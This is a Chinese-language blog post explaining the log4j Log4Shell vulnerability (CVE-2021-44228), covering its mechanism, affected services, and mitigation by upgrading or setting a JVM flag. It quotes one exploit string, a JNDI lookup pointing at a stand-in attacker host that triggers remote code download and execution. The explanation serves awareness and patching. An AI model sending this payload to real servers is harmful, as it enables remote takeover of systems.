在流行的 Java 日志库 log4j 中发现了严重的 RCE 零日漏洞

在这里插入图片描述
在 log4j 中发现了一个严重的远程代码执行漏洞,这是一种非常流行的日志工具,被大多数行业使用。它非常严重,几乎影响到所有运行 Java 的服务器,而且很容易被利用,因此您需要尽快更新和缓解该问题。

这是如何运作的?

该漏洞由CVE-2021-44228跟踪,可能会影响几乎所有使用 的 Java 应用程序log4j,考虑到它无处不在,这是相当多的。如果您的应用程序曾经记录用户发送的字符串,则它可能容易受到攻击。就漏洞利用而言,它是今年最糟糕的漏洞之一,因为它基本上可以以某种方式针对任何运行 Java 的服务器(尽管现代 JDK 版本的主要攻击向量可能更难,更多内容见下文)。

本质上,该漏洞允许攻击者向您的服务器发送如下所示的任何字符串,如果它在您的应用程序中记录该字符串,您的服务器将执行托管在该地址的代码。

${jndi:ldap://attacker.com/a}

这是有效的,因为在解析这个唯一格式的字符串时,log4j 将通过Java 命名和目录接口发出请求,最终将下载请求发送到任意端点。它.class 以不安全的方式下载和反序列化文件。因为 Java 类可以具有在编译和引用类时运行的静态初始值设定项,这会导致从一个简单的短字符串远程执行任意代码。例如,客户端可以将其用户代理设置为该字符串,或者以其他方式将其包含在请求中,当您的服务器记录它时,它将触发漏洞利用。

这太可怕了,在 CVSS 量表上获得了完美的 10 分。

它会影响很多应用程序。例如,Minecraft 是最早传播消息并修补漏洞的公司之一,因为它可以在服务器上和通过游戏内聊天消息连接到服务器的所有玩家上执行代码。发布了游戏的修补程序更新以修补该错误。

Steam 和 iCloud 等流行服务已经被发现存在漏洞,安全研究公司 GreyNoise 已经检测到多个 IP 正在对易受攻击的服务器进行扫描。

您可能已经在运行log4j,因为它已作为标准日志记录工具包含在数百个其他库中。然而,JDK版本大于 6u211, 7u201, 8u191,并且 11.0.1 不会受到多数民众赞成而现在利用的主要攻击向量(使用LDAP)。这并不是说您不应该更新,因为log4j + JNDI 中的错误仍然很严重,并且也很容易与其他攻击媒介一起使用。

我如何解决它?

幸运的是,已经有一个完全修补它的修复程序,所以你应该尽快更新你的服务器。不过,这也会影响客户端应用程序,这些应用程序也需要针对此关键补丁进行更新。毕竟,有 30 亿台设备运行 Java,所以要完全修复它还需要一段时间。

该漏洞已在log4j的最新版本 2.15.0-rc2 中进行了修补,因此如果可以,您应该对其进行更新。考虑到可能卡在旧版本上的用户的严重性,该补丁也已向后移植到早期版本。

如果您正在使用另一个使用 的库,log4j在大多数情况下您仍然可以手动更新,但如果不能,您可以使用此 JVM 标志来缓解该问题,它只是告诉log4j 在格式化时不要进行任何查找消息。

-Dlog4j2.formatMsgNoLookups=true
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

mikes zhang

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值